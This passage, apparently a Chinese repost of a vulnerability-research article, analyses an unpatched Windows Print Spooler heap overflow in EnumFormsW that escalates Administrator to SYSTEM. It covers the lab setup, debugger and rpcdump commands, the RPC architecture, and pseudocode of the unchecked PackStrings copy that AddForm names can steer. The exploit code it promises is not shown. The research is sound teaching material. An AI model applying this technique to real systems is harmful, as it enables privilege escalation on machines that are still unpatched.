RE学习——PrintSpooler缺失边界检查"

admin 2026-11-01 01:16:03 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

RE 学习——Print Spooler 缺失边界检查

原创

Alexandre
Alexandre

赛博生存指南

2026年10月31日 08:28
浙江

去阅读

原文:https://exploitreversing.com/wp-content/uploads/2026/10/exploit\_reversing\_11.pdf
作者:Alexandre Borges(Blackstorm Security,Exploiting Reversing 系列第 11 篇)
发布时间:客公告 2026-10-27
翻译模型:GLM-5.3

编者按: Exploiting Reversing 系列第 11 篇,战场从内核换到用户态:Windows 打印后台服务 spoolsv.exe 的表单枚举路径 EnumFormsW 缺了一处边界检查。作者 2026 年 3 月把漏洞报给微软,MSRC 以“PoC 需要管理员权限”为由认定不达标、关闭了工单;到 10 月写下本文时,主流和 Canary 渠道的 Windows 上依旧能复现。利用前提是 Administrator + SeDebugPrivilege(要把 DLL 注入 spoolsv 才能让 pForm 和 cbBuf 两个参数解耦),收益是进程内执行从 admin 直达 SYSTEM——而且全程进程不崩:堆 spray 挖坑、16 字节精确覆写邻块回调指针、trampoline 跳 shellcode,收尾时 spoolsv 还活着。文末给出两个 exploit 变体的完整源码,一个落盘 EXPLOITED.txt 做证明,另一个直接在交互桌面弹出 SYSTEM 的 cmd。groom、corrupt、control、execute 四阶段讲得很细,值得当成 Windows 用户态堆溢出的教学样本来读。

00. 开场白

“你正被监视着。政府有一套秘密系统——一台机器,每一天的每个小时都在盯着你。我知道,因为它是我造的。”

——Harold Finch(由出色的 Michael Emerson 饰演)|《疑犯追踪》(Person of Interest),2011–2016

01. 引言

欢迎来到 Exploiting Reversing(ER)系列第十一篇——一套在 Windows、iOS、hypervisor 等平台上逐步展开的漏洞利用开发与漏洞研究系列。本系列最近的几篇文章在这里:

主要来源:

  • 全部文章更新:https://www.blackstormsecurity.com/research/

次要来源:

  • ERS\_10:https://exploitreversing.com/2026/10/06/exploiting-reversing-er-series-article-10/
  • ERS\_09:https://exploitreversing.com/2026/04/28/exploiting-reversing-er-series-article-09/
  • ERS\_08:https://exploitreversing.com/2026/03/31/exploiting-reversing-er-series-article-08/
  • ERS\_07:https://exploitreversing.com/2026/03/04/exploiting-reversing-er-series-article-07/
  • ERS\_06:https://exploitreversing.com/2026/02/11/exploiting-reversing-er-series-article-06/
  • ERS\_05:https://exploitreversing.com/2025/03/12/exploiting-reversing-er-series-article-05/
  • ERS\_04:https://exploitreversing.com/2025/02/04/exploiting-reversing-er-series-article-04/
  • ERS\_03:https://exploitreversing.com/2025/01/22/exploiting-reversing-er-series-article-03/
  • ERS\_02:https://exploitreversing.com/2024/01/03/exploiting-reversing-er-series-article-02/
  • ERS\_01:https://exploitreversing.com/2023/04/11/exploiting-reversing-er-series/

本文分析并利用的是一个 Windows 11 上尚未修复的漏洞——微软不认为它有多紧迫。因此,至少在我写下这些文字的时候,这个漏洞仍存在于当前更新过的 Windows 版本中,正好是研究 exploit 开发的好素材。这次的目标是一个用户态漏洞,普通用户没法直接触发,exploit 在本地运行,把权限从 Administrator 提升到 SYSTEM,而且不会造成严重后果。我决定写这篇文章,正是因为这个 bug 简单、有趣,值得一讲。

02. 致谢

都 2026 年了,详细讲漏洞研究和真实 exploit 开发的文档依然少得可怜。我的直观感受是:信息共享的时代已经结束了。如今每周都有不少新文章,但绝大多数只展示最终结果,不解释从头到尾的完整过程,这对同行在漏洞利用研究上走出自己的路没什么帮助。遗憾的是,展示 exploit 开发手艺的意愿,已经被金钱等因素消磨掉了。

几年前我开始写恶意软件分析、漏洞研究和漏洞利用的文章时,心里有个明确的决定:应该毫无保留地分享信息——毕竟这样做并不妨碍我提升技术、发展职业。不出所料,时间始终是定期写作的最大限制,但我仍在努力为其他从业者积累有价值的基础资料。老读者都知道,没有 Ilfak Guilfanov(@ilfak)和 Hex-Rays SA(@HexRaysSA)多年来的全力支持,这些文章不可能发表。最后想说,研究工作正处在一个 AI 的新时代,但没有什么能替代我们的头脑——它能生成无限的知识,解决那些乍看之下不可能解决的问题。

人生苦短,但每一刻都值得,因为人才是这个世界上最好的东西。享受旅程,keep exploiting!

03. 实验环境

本文所有步骤都在用户态完成,不需要内核调试环境,实验室搭建因此简化了不少。这项研究跨两台角色不同的机器,把它们分清楚对正确解读每个结果至关重要。

  • 一台 Windows 11 Pro,OS build 10.0.26200(26H2),补丁全打,是做静态分析的主力机——IDA Pro 逆向、反编译、编写注入器和 payload 都在这里。根因分析所依据的 spooler 主流版二进制也来自这台机器:
Product:     Microsoft Windows 11 Pro

OS build:    10.0.26300 (26H2), mainstream -- analysis only

Platform:    x64

Component:   spoolsv.exe    v10.0.26100.7689   (Print Spooler service, runs as SYSTEM)
SHA-256:     86DB35C00D466D467B8B4D096593FC21BEE398AE7F6DC747AAD444B2CA72DA94

Router:      spoolss.dll    v10.0.26100.7920
SHA-256:     5C64B7211CBB6BADD47ABF6AEED196E932A9DC0F8381151F01D04D78EAF245DF

Provider:    localspl.dll   v10.0.26100.7689

Client lib:  winspool.drv   (loaded in the CALLER's process, not in spoolsv)
  • 两台目标虚拟机,分别对应两个服务渠道(Canary 和主流版),所有动态操作都在这里进行,本文的部分结果也产自这里。此外,帮助在主流生产版和 Canary 版上双双提权到 SYSTEM 的那个 16 字节 primitive,在两台机器上都存在且完全一致:
Target A | mainstream/production  (hostname WIN11R2, 192.168.0.3):

  OS build:    10.0.26200.8655 (25H2)
  Platform:    x64
  Component:   spoolsv.exe    v10.0.26100.8875   SHA-256 8C1705AE...D420
  Router:      spoolss.dll    v10.0.26100.8521   SHA-256 37A74357...4D6C
  Provider:    localspl.dll   v10.0.26100.8875   SHA-256 CA4A0686...92FD

Target B | Canary channel  (hostname WININSIDER, 192.168.0.5):

  OS build:    10.0.29634.1000
  Platform:    x64
  Component:   spoolsv.exe    v10.0.29634.1000   SHA-256 06F3359A…FAED
  Router:      spoolss.dll    v10.0.29634.1000   SHA-256 B9FE27D5…E560
  Provider:    localspl.dll   v10.0.29634.1000   SHA-256 9B39BFD0…9494
  • 顺带说清上面两台目标机的情况:它们不是最新版本,而是我最初测试这个漏洞时用的版本(当时就能打通)。此后从这些版本一直到当前主流 Windows 11 26H2(10.0.26300)和 Canary 10.0.29683.1000,实弹利用全部有效。
  • 要检查根因、做 binary diffing 和逆向分析,也可以通过 Winbindex(https://winbindex.m417z.com/)把 Canary 版的 spoolss.dll / localspl.dll 拉到工作站上,不必费力安装精确版本的 Windows——那太耗时间了。
  • IDA Pro 或 IDA Home(@HexRaysSA):https://hex-rays.com/ida-pro/
  • Visual Studio 2022,勾选“使用 C++ 的桌面开发”组件外加 Windows SDK,用来编译注入器和 payload:

  • Visual Studio:https://visualstudio.microsoft.com/downloads/

  • Windows SDK:https://developer.microsoft.com/en-us/windows/downloads/windows-sdk/

  • WinDbg:https://aka.ms/windbg/download,或执行winget install Microsoft.WinDbg

  • Malwoverview:https://github.com/alexandreborges/malwoverview|安装:python -m pip install malwoverview[all]
  • (可选)BinDiff,以及可选的 Diaphora,用于补丁分析:

  • BinDiff:https://github.com/google/bindiff/releases

  • Diaphora:https://github.com/joxeankoret/diaphora

04. 漏洞背景

这次我不选典型的内核组件,而是分析一个用户态目标——它完全可以和驱动一样有意思。这个组件就是 Windows Print Spooler,对应服务进程 spoolsv.exe:以 SYSTEM 身份运行、承载一个 RPC 接口、加载一小撮 provider 模块,安全案底又长又显赫——PrintNightmare 只是最出名的那个,但绝非唯一。执行下面的命令就能拉出一份 CVE 清单:

$ malwoverview --nist 4 --NIST \"Windows Print Spooler\" --ncves 10

[1] CVE ID: CVE-2026-85877
    Status: Analyzed
    Published: 2026-09-08T18:21:13.960
    Last Modified: 2026-09-09T20:15:28.947
    CVSS v3.1: 8.8 (N/A)
    Description:
    Heap-based buffer overflow in Windows Print Spooler Components allows
    an unauthorized attacker to execute code over a network.

[2] CVE ID: CVE-2026-70564
    Status: Analyzed
    Published: 2026-09-08T18:20:08.937
    Last Modified: 2026-09-24T23:18:40.050
    CVSS v3.1: 7.8 (N/A)
    Description:
    Heap-based buffer overflow in Windows Print Spooler Components allows
    an authorized attacker to elevate privileges locally.

[3] CVE ID: CVE-2026-69921
    Status: Analyzed
    Published: 2026-09-08T18:20:02.587
    Last Modified: 2026-09-16T19:07:13.210
    CVSS v3.1: 7.8 (N/A)
    Description:
    Heap-based buffer overflow in Windows Print Spooler Components allows
    an authorized attacker to elevate privileges locally.

[4] CVE ID: CVE-2026-69838
    Status: Analyzed
    Published: 2026-09-08T18:19:55.330
    Last Modified: 2026-09-24T23:18:32.350
    CVSS v3.1: 7.0 (N/A)
    Description:
    Use after free in Windows Print Spooler Components allows an authorized
    attacker to elevate privileges locally.
...
...

拿类似清单还有另一种方式,推荐执行:

$ malwoverview --nist 6 --NIST \"Windows Print Spooler\" --ncves 10

CVE             Vendor     Published   CVSS        Description
-------------------------------------------------------------------------------------------------
CVE-2026-85877  microsoft  2026-09-08  8.8 HIGH    Heap-based buffer overflow in Windows Print...
CVE-2026-70564  microsoft  2026-09-08  7.8 HIGH    Heap-based buffer overflow in Windows Print...
CVE-2026-69921  microsoft  2026-09-08  7.8 HIGH    Heap-based buffer overflow in Windows Print...
CVE-2026-69838  microsoft  2026-09-08  7.0 HIGH    Use after free in Windows Print Spooler Comp...
CVE-2026-69569  microsoft  2026-09-08  5.7 MEDIUM  Untrusted pointer dereference in Windows Pri...
CVE-2026-69552  microsoft  2026-09-08  5.7 MEDIUM  Generation of error message containing sensi...
CVE-2026-69364  microsoft  2026-09-08  7.1 HIGH    Concurrent execution using shared resource w...
CVE-2026-69346  microsoft  2026-09-08  8.0 HIGH    Heap-based buffer overflow in Windows Print...
CVE-2026-69344  microsoft  2026-09-08  5.5 MEDIUM  Out-of-bounds read in Windows Print Spooler...
CVE-2026-69309  microsoft  2026-09-08  7.0 HIGH    Double free in Windows Print Spooler Compone...
-------------------------------------------------------------------------------------------------

[+] The 10 most recent of 101 CVE(s) found for Windows Print Spooler, ordered by CVE ID. Use
    --ncves <number> for more, --ncves 0 for all of them,
    --time <years> to bound them by year, or --sort-by-published to order them by publication date.

[+] Descriptions are truncated to fit the table. Use --nist 2 --NIST <CVE> for the full text of any
    row.
[+] This is a keyword search over CVE descriptions. NVD has no file-level mapping, so a match means
    the text mentions the component, not that this build is affected.

回到正题。这个 bug 是一个堆缓冲区溢出(CWE-122),这次出在 spooler 的表单枚举路径上。根因是 spoolss!EnumFormsW 子程序里缺了两处输入校验——一次由不当输入验证引发的越界写,属于常见漏洞类别。真实影响自然不是拒绝服务,而是以 SYSTEM 身份执行任意代码(服务本来就以 SYSTEM 运行),即完整的本地提权。整个利用过程中进程连崩都不崩:最终 exploit 先 groom 堆布局,精确覆写它想要的字节,劫持一个函数指针,跑完 payload,spoolsv.exe 依然安然无恙。有趣的是(也许并不意外),我用一个典型的 16 字节 primitive,在主流生产版和更新的 Canary 版上都完成了从 Administrator 到 SYSTEM 的提权,最后弹出一个 SYSTEM 权限的终端。

众所周知,我通常不会把和 exploit 相关的漏洞提交给“玩家们”,但这个漏洞只涉及 Administrator 到 SYSTEM(不是普通用户到 SYSTEM),所以这次我提交给了微软(2026 年 3 月 28 日),对方的回复如下:

“当前,MSRC 优先处理评估为 Important 或 Critical 严重等级的漏洞以立即修复。运行该 PoC 需要管理员权限。未提供证明域用户也能触达此代码的远程 PoC。经仔细调查,本案例被评估为不构成漏洞,未达到 MSRC 立即修复的标准(MSRC's bar for immediate service)。感谢您与我们合作保护客户的安全。本案例现已关闭。”

我不觉得这是什么问题,绝对没有怨气——规则就是规则,我从不与这类决定争论。我也已通知微软:不久之后我会发布一篇文章,发布时会再次告知他们。既然 MSRC 不把它当漏洞(说实话我也不当),那它反而是这个系列里用来演示、讲解利用技术的好素材。总之,这仍是一个未修复的提权漏洞,存在于多个 Windows 版本(主流和 Canary)中,在当前版本上工作得完美无缺。一方面它只是个把 Administrator 提到 SYSTEM 的简单 exploit;另一方面,它仍然是读者学习研究的好例子。

提权是本地、进程内的操作,通过向 spoolsv 注入 DLL 完成,需要 admin + SeDebug 权限。我最近一次测试在 2026 年 10 月 10 日,bug 还在,exploit 还能跑。

我还快速(只试了一次)对一个 Windows Server 2025(10.0.26100.33438)做了首次远程测试:配了正确的 RPC 客户端,目标机上挂着实时调试器。初步验证表明,这个溢出无法经 RPC 触达。看起来是 RPC worker 在服务端加了 level 校验和调用方授权检查,而 MS-RPRN(Microsoft Print System Remote Protocol)传输层会把服务端的缓冲区绑定到正确的字节数上——远程调用方无法提交比声明更大的缓冲区,任何超大缓冲区的调用都会在带漏洞的 worker 运行前被服务端的 NDR(Network Data Representation)stub 拒绝(返回 RPC\_X\_BAD\_STUB\_DATA)。当然,读者应该自己再验证一下,毕竟如我所说,我只试了一次。

回到所需的初始条件:本地的 PoC 向 spoolsv.exe 注入 DLL。向 SYSTEM 进程注入 DLL 需要一个提升过的(High-IL)管理员 token,且 token 里要带 SeDebugPrivilege(无论启用与否,有就行),这一点必须讲精确。很容易产生错觉,以为 SeDebugPrivilege 至今仍默认分配给 Administrators 组。在 UAC 之下,它会被从普通中完整性(medium-integrity)管理员 token 中过滤掉,只出现在提升后的 token 里;而且即便在那里,它默认也是禁用状态,必须先通过 AdjustTokenPrivileges 函数启用,才能调用 OpenProcess。

不出所料,我直接用内置 Administrator 运行来绕过提权这道坎:它的 token 是 High-IL(High Integrity Level),SeDebugPrivilege 天然在场(只是未启用)。注入前可在每台机器上跑 whoami /priv 确认现有权限。因此必须说清楚(这一点非常重要):PoC 不是未授权用户能跑的——向 SYSTEM spooler 注入 DLL 需要 SeDebugPrivilege,普通用户的 token 里没有它。

这个事实在主流和 Canary 两台虚拟机上都验证过:普通账户(非管理员)持有 Medium-IL token、不带 SeDebugPrivilege(只有 SeShutdown、SeChangeNotify、SeTimeZone 等),因此无法以写内存和创建线程的方式打开 spoolsv,注入器还没动手就被拒之门外(调用 OpenProcess 函数返回 ERROR\_ACCESS\_DENIED)。

另一方面,检查漏洞代码路径本身倒不需要 Administrator——EnumForms 函数是普通的、无特权的打印例程,走 spooler 的 RPC 端点就能到达;这里的注入只是替客户端补上“客户端不会远程暴露的那个 RPC 端点”而已。

05. 实验环境配置要点

本文的调查建立在 spoolsv.exe 的内部细节之上(它以 SYSTEM 运行),采集调试信息有两条路。其一,以非侵入(non-invasive)模式挂 WinDbg(windbg -pn spoolsv.exe);为免后续出岔子,建议先确认挂对了进程(Get-Process spoolsv | Select-Object Id, ProcessName, Path)。补充或替代方案是用 windbg -I 把 WinDbg 配成 AeDebug 调试器——一旦 spoolsv 因未处理异常而崩溃,调试器会直接停在出错指令处,上下文和调用栈都保得住。当然,从那里继续执行的话,服务会被重启。

和每次 Windows 研究一样,工作站(宿主机)和目标虚拟机都应配好公共符号:

  • _NT_SYMBOL_PATH=srv*c:\\symbols*https://msdl.microsoft.com/download/symbols

针对这个目标和漏洞,微软为整个 spooler 栈提供了符号——spoolsv.exe、spoolss.dll、localspl.dll 都能解析出 EnumFormsW、SplEnumForms、InternalEnumForms、CopyIniFormToFormInfo 以及名为 PackStrings 的内部函数。读者后面会看到,我的调查直接或间接用到了这些函数。

概念和工具方面,本文涉及的漏洞类别是堆溢出,因此检查堆内容相关的对象就很重要,尤其是 spoolsv.exe 进程的用户态堆——它是 Segment Heap——以及其中的 Variable-Size(VS)堆,即本次涉及 chunk 所在的那片内存。

复现过程中,WinDbg 挂上 spoolsv.exe 后有若干命令会派上用场:

!heap -s                             列出各堆及其后端
!heap                                堆摘要
dt ntdll!_SEGMENT_HEAP         Segment Heap 控制结构
dt ntdll!_HEAP_VS_CONTEXT ...        VS 分配器上下文
dt ntdll!_HEAP_VS_CHUNK_HEADER <chunk>   我们要覆写的 16 字节 VS chunk 头

我们要打交道的就是以 \_HEAP\_VS\_CHUNK\_HEADER 结构表示的 chunk——直接对应“砸烂下一个 chunk 的 16 字节 VS 头(元数据)再顺势写它自己的数据”这一步。

确认目标上运行的模块和版本有两种非侵入方式:

PS C:\\> Get-Process | grep -i spoolsv

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------   -----      -----      ------     --  -- -----------
   469      20     5084      14432       0.78   13852   0 spoolsv

PS C:\\> cdb -pv -p 13852

Microsoft (R) Windows Debugger Version 10.0.22621.1 AMD64
Copyright (c) Microsoft Corporation. All rights reserved.

*** wait with pending attach
.......
.......
Loading unloaded module list
......
(361c.2cac): Wake debugger - code 80000007 (first chance)
ntdll!NtWaitForSingleObject+0x14:
00007ff8`74978ec4 c3              ret

0:000> lm vm localspl

start             end                 module name
00007ff8`48250000 00007ff8`483b7000   localspl   (deferred)
    Image path: C:\\WINDOWS\\System32\\localspl.dll
    Image name: localspl.dll
    Image was built with /Brepro flag.
    Timestamp:        312CF9A4 (This is a reproducible build file hash, not a timestamp)
    CheckSum:         001692A6
    ImageSize:        00167000
    File version:     10.0.29683.1000
    Product version:  10.0.29683.1000
    File flags:       0 (Mask 3F)
    File OS:          40004 NT Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0409.04b0
    Information from resource tables:
        CompanyName:      Microsoft Corporation
        ProductName:      Microsoft® Windows® Operating System
        InternalName:     localspl.dll
        OriginalFilename: localspl.dll
        ProductVersion:   10.0.29683.1000
        FileVersion:      10.0.29683.1000 (WinBuild.160101.0800)
        FileDescription:  Local Spooler DLL
        LegalCopyright:   © Microsoft Corporation. All rights reserved.

0:000> qd

第二种是直接把 DLL 当转储加载:

PS C:\\> cdb -z C:\\Windows\\System32\\localspl.dll

Microsoft (R) Windows Debugger Version 10.0.22621.1 AMD64
Copyright (c) Microsoft Corporation. All rights reserved.

Loading Dump File [C:\\Windows\\System32\\localspl.dll]

************* Path validation summary **************
Response                         Time (ms)     Location
Deferred                                        srv*c:\\symbols*https://msdl.microsoft.com/download/symbols
Symbol search path is: srv*c:\\symbols*https://msdl.microsoft.com/download/symbols

Executable search path is:
ModLoad: 00000001`80000000 00000001`80167000   C:\\Windows\\System32\\localspl.dll

localspl!DllMainCRTStartup:
00000001`800462e0 48895c2408      mov     qword ptr [rsp+8],rbx
ss:00000000`00000008=????????????????

0:000> lm vm localspl

start             end                 module name
00000001`80000000 00000001`80167000   localspl   (pdb symbols)
    c:\\symbols\\localspl.pdb\\9A59C0EDCFA2BE66D4045C1B1DFCE7DE1\\localspl.pdb
    Loaded symbol image file: localspl.dll
    Mapped memory image file: C:\\Windows\\System32\\localspl.dll
    Image path: C:\\Windows\\System32\\localspl.dll
    Image name: localspl.dll
    Image was built with /Brepro flag.
    Timestamp:        312CF9A4 (This is a reproducible build file hash, not a timestamp)
    CheckSum:         001692A6
    ImageSize:        00167000
    File version:     10.0.29683.1000
....
....
0:000> qd

06. 基础知识:Windows Print Spooler 架构

这个漏洞直接或间接涉及四个文件:

  • winspool.drv

:客户端 API 库,加载进任何调用打印 API 的进程地址空间,但不属于 spooler 服务。它的职责是把 EnumForms 这类调用编组成 RPC 请求发给 spooler。
* spoolsv.exe

:Print Spooler 服务进程,以 SYSTEM 运行,充当 RPC 服务端——绑定 MS-RPRN 接口、接收客户端请求。
* spoolss.dll

:spooler 的路由器(router),加载在 spoolsv.exe 进程内。打印请求不会直接发往设备,而是被路由(重定向)到负责目标打印机的那家 provider。这个重定向器(一种路由组件)的入口以 EnumFormsW 函数导出。
* localspl.dll

:本地打印 provider,同样运行在 spoolsv.exe 内。真正认识本机打印机、驱动、端口和表单的正是这个模块。因此,一旦 spoolss.dll 判断请求是本地的,干实际活儿(包括那次会溢出的内存拷贝)的必然是 localspl.dll。

场景里还有其他 provider:

  • win32spl.dll

:把请求重定向到远程打印服务器。
* inetpp.dll

:处理 Internet 打印。不过就我们的 bug 而言,与调用方缓冲区交互的是本地 provider。

服务端的三个模块(spoolss、spoolsv、localspl)共享同一个 spoolsv.exe 地址空间和一个进程默认堆——这就是为什么 localspl 里发生的溢出可以经 groom 精准落到我们控制的对象上(至少本地如此)。

为了让读者有更清晰的脉络,可以把整个利用场景想象成:

  • 攻击者进程(admin + SeDebug):winspool.drv(客户端),在这里 level 会被检查。它经 RPC 与 spoolsv.exe 服务通信。
  • spoolsv.exe(SYSTEM):地址空间里有三样东西:

  • spoolss.dll:重定向器(router)。

  • localspl.dll:provider,OOB 发生的地方(经 memcpy 函数)。
  • 进程自己的堆(Segment Heap):共享、可 groom。

bug(OOB)位于 InternalEnumForms → CopyIniFormToFormInfo → PackStrings → memcpy 这条链上。既然主角是表单(form),了解它的定义会有帮助。在 Windows 打印模型里,form 是具名的纸张(A4、Letter、Legal 等纸张格式)定义,尺寸以毫米的千分之一为单位。

spooler 允许调用方添加自己的“用户”表单:内置表单标记为 FORM\_BUILTIN,用户表单标记为 FORM\_USER;后者由本地 provider 持久化,跨会话存续,直到被删除。基于这些最基本的概念:枚举表单返回一个变长 blob,由固定大小记录组成的数组加上名字字符串构成,总大小取决于表单数量和名字长度。为了让这种布局成为可能,EnumForms 函数用了一套尺寸协商协议和一个字符串打包例程——而溢出滥用 的恰恰就是这套机制。此外,调用方可以通过 AddForm 函数添加具名表单,这意味着攻击者可以精确控制“稍后被枚举拷贝的那个字符串”的每一个字节。

把“从调用方到字节拷贝”的表单枚举请求再展开一层(这条路正是 exploit 稍后走的路),链路如下:

  • 调用方进程:winspool.drv 的 EnumFormsW 函数,编组参数并经 RPC 联系 spooler。
  • RPC 服务端 stub:RpcEnumForms
  • RPC worker:spoolsv!YEnumForms
  • 本地 provider 入口:localspl!SplEnumForms
  • 表单迭代:localspl!InternalEnumForms
  • 结构填充:localspl!CopyIniFormToFormInfo
  • 字符串打包:spoolss!PackStrings / spoolsv!PackStrings
  • 目标拷贝:ucrtbase!memcpy

EnumFormsW 函数有一层“分身”结构——它同时出现在三个模块(winspool.drv、spoolss.dll、spoolsv.exe)里,各自干各自的活。

另一个关键点:目前住在 winspool.drv 里的安全检查只保护“经过这个二进制的调用方”,而经其他任何路径到达 RpcEnumForms 函数的请求都享受不到这层保护。因此,一个经 \\\\pipe\\spoolss 进来的远程系统、ncalrpc 端点上的本地进程、甚至 spoolsv 内部直接调 spoolss!EnumFormW 的代码,都不碰 winspool.drv,请求自然没人校验。

Print System Remote Protocol(MS-RPRN)是 spooler 暴露的 RPC 接口。细讲之前,先定义三个相关术语(其中两个前文提过):

  • RPC(Remote Procedure Call)

:让调用方像调本地函数一样调用运行在另一个进程(甚至另一台机器)里的函数的机制。便利之处在于调用端和被调端都由同一份接口定义生成。
* Marshalling(编组)

:把函数参数打包成字节流以便网络传输的操作;对端解包的操作叫 unmarshalling。打包格式用的是 NDR(Network Data Representation)。与 Java、.NET、PHP 等技术类似,大多数 bug 出在 unmarshalling 阶段。
* Opnum(operation number,操作编号)

:RPC 接口里每个函数的固定索引。线上请求会携带 opnum,服务端用它选择要执行的例程——本质上是分派表(dispatch table)的数组下标。

按照微软的 Standard Assignments 文档(https://learn.microsoft.com/en-us/openspecs/windows\_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515),该 RPC 接口的 UUID 是 12345678-1234-ABCD-EF00-0123456789AB。大致上,一个 RPC 接口就像一张函数表(也许用“方法”或“操作”更贴切),按索引编号,这个索引就是 opnum。客户端调用 RpcEnumForms 这样的 stub 函数(职责是枚举指定打印机支持的表单)时,RPC 运行时用 opcode 34 在服务端接口的分派表里查到它、调用对应的服务端例程、把 unmarshal 好的参数递过去。

通信大致是:

(client stub) RpcEnumForms | opnum = 34 → 数据编组 + 发送 → RPC →
(server) RPC runtime → dispatch table [opnum 34] → server routine(在这里做数据校验)

列出接口本身,可以用 impacket 工具集:

PS C:\\> python -m pip install -U impacket

PS C:\\> rpcdump.py 'Administrator:[email protected]' | grep -A5 \"Print System Remote Protocol\"

Protocol: [MS-RPRN]: Print System Remote Protocol
Provider: spoolsv.exe
UUID    : 12345678-1234-ABCD-EF00-0123456789AB v1.0
Bindings:
          ncalrpc:[LRPC-cbc97152ce6db84b6d]

输出说明该接口只经 ncalrpc(同机本地 RPC)可达。没有 \\pipe\\spoolss 的 ncacn\_np 绑定,也没有 ncacn\_ip\_tcp 绑定,很遗憾不存在网络传输。事实上,系统得装上 Print Server 角色之后那些远程绑定才会出现。跑 rpcdump.py 的目的,就是在花时间做拷贝操作之前确认接口绑定了哪些传输。另外,后文会看到,相关的 opnum 有两个:

  • Opnum 34|RpcEnumForms 函数

:枚举操作,拷贝就在这里溢出。
* Opnum 30|RpcAddForm 函数

:我们植入受控内容的途径。

RPC 接口只能通过服务端绑定的传输到达。历史上 spooler 连接命名管道 \\pipe\\spoolss(可经 SMB 从网络触达)和一个本地 ncalrpc 端点。说明一下:ncacn\_np 是承载在命名管道上的 RPC,可经 SMB 远程触达;ncalrpc 是只留在本机、从不跨网络的传输。PrintNightmare 相关 exploit 发布后(https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527),微软加固了默认配置,\\pipe\\spoolss 默认不再对远程暴露。当然,可达不等于可利用。Windows 11 客户端只提供 ncalrpc 传输,管道是关的;如果装了带打印角色的 Windows Server,\\pipe\\spoolss 则是开的。

整个利用过程中你会注意到:spooler 几乎所有枚举操作都围绕同一套“两次调用”机制,bug 就藏在这里——接口契约被违反了。EnumFormsW 函数原型如下:

BOOL EnumFormsW(
    HANDLE  hPrinter,     // handle from OpenPrinter
    DWORD   Level,        // 1 or 2
    LPBYTE  pForm,        // output buffer (caller-allocated)
    DWORD   cbBuf,        // size of that buffer, in BYTES
    LPDWORD pcbNeeded,    // out: bytes required
    LPDWORD pcReturned);  // out: number of forms written

和众多同类函数一样,它靠两次调用来确定 cbBuf 的准确值:

  • 先以 pForm = NULL、cbBuf = 0 调用。调用失败,返回 ERROR\_INSUFFICIENT\_BUFFER(122),并把所需大小写进 pcbNeeded 参数。
  • 按 pcbNeeded 给出的字节数精确分配。
  • 带着这块缓冲再次调用,cbBuf = *pcbNeeded。这次成功,缓冲区里填入 pcReturned 条记录。

一切看似正常,但魔鬼在细节里。cbBuf 参数本应描述 pForm 实际指向的缓冲区大小。于是服务端被允许相信:只要 cbBuf >= 所需大小,往 pForm 写所需字节就是安全的,绝不会出事。事实上,只要没人去开薛定谔猫的盒子,它看起来确实一切良好。

漏洞就在于调用方撒谎:把 cbBuf 报成 2GB(仅作示意),而 pForm 只指着几千字节,服务端信了数字而不是缓冲区。崩溃已经够糟了,更糟的是攻击者可以构造精确的“数据包”,控制拷贝落点的位置。

EnumFormsW 的另一个细节是 Level 参数,它选择输出记录格式:

  • Level 1 → FORM\_INFO\_1:x64 上每条 40 字节
  • Level 2 → FORM\_INFO\_2:x64 上每条 88 字节

本文用 FORM\_INFO\_1——exploit 用的也是它,布局如下:

typedef struct _FORM_INFO_1W {
    DWORD  Flags;
    LPWSTR pName;
    SIZEL  Size;
    RECTL  ImageableArea;
} FORM_INFO_1W, *PFORM_INFO_1W;

稍后 exploit 会读取 pName(偏移 +8)来定位自己的表单。FORM\_INFO\_2 在此基础上扩展了 pKeyword、StringType、pMuiDll、dwResourceId、pDisplayName 和 wLangId,大小达到 88 字节。因为它有更多指针字段,可攻击的字符串也更多。不过两个 level 都可利用,我只是图简单选了 Level 1。

细心的读者会发现,最核心的事实是:每条记录都包含一个指向变长字符串的指针——这就是输出不能是扁平数组的原因,所以才需要一套打包例程来处理。正是在这个背景下,PackStrings 例程登场。

表单有名字,名字是变长字符串,所以输出缓冲区不可能简单等于“count \* sizeof(FORM\_INFO\_1)”。spooler 用一个贯穿其代码库的约定解决这个问题,由 PackStrings(内部函数)实现,打包逻辑类似下面的代码:

// dst      = caller buffer (pForm)
// cbBuf    = caller-declared size
// pEnd     = dst + cbBuf          the \"back\" of the buffer
// records  written from the FRONT (dst) upward
// strings  written from the BACK  (pEnd) downward

for each form f (front to back):
    write the 40-byte FORM_INFO_1 record at the current front cursor
    len = (wcslen(f.name) + 1) * sizeof(WCHAR)
    pEnd -= len                              // carve string space off the back
    memcpy(pEnd, f.name, len)                // the write that overflows
    record.pName = pEnd                      // fix up the pointer to the packed copy

本文的利用有两个设计上的关键事实:

  • 字符串区相对 dst + cbBuf 定位,而不是相对真实分配区。

一旦把 cbBuf 吹大,pEnd 就向高地址移动,整个字符串块随之“滑”向高地址——可能滑出缓冲区、落进堆上任意相邻 chunk。毫不意外,服务端从不检查 pEnd 是否还在真实分配区的边界之内。
* PackStrings 拷贝的是表单名

——就是打印时看到的 Letter、Legal、A4 这些名字。表单名可由调用方添加自定义表单来控制;从利用视角看,PackStrings 就是一个“把字节拷到受控地址”的 primitive。

稍后读崩溃栈时会看到,出错指令正是 ucrtbase!memcpy,由 PackStrings 函数直接调用——它把字符串拷到缓冲区后端,越过了边界,写进堆上相邻 chunk。读过本系列前几篇的读者应该记得,Windows 内存管理这一次依然是关键,尤其是 Segment Heap。

关于 PackStrings 本身,值得一提的是它的行为:记录从 pForm 开始向前写,名字字符串从(正确大小的缓冲区的)末端向后写,布局形如:

(pForm) rec0 rec1 rec2........<free gap>..... A4\\0  Legal\\0  Letter\\0 (pEnd -- packed strings)

因此,触发攻击的内容通道毫无疑问是 AddForm 函数,其原型给出了方向:

BOOL AddFormW(HANDLE hPrinter, DWORD Level, LPBYTE pForm);   // pForm points to FORM_INFO_1

每条 FORM\_INFO\_1 记录的 pName 属性(见前文伪代码)指向上图后端区域里自己的名字。这个 pName 稍后由 EnumForms 函数交还、再被 PackStrings 拷贝。表单名(Unicode 字符串)的内容没有任何限制——用 AddFormW 函数,就等于向 PackStrings 将要溢出的缓冲区注入任意字节。

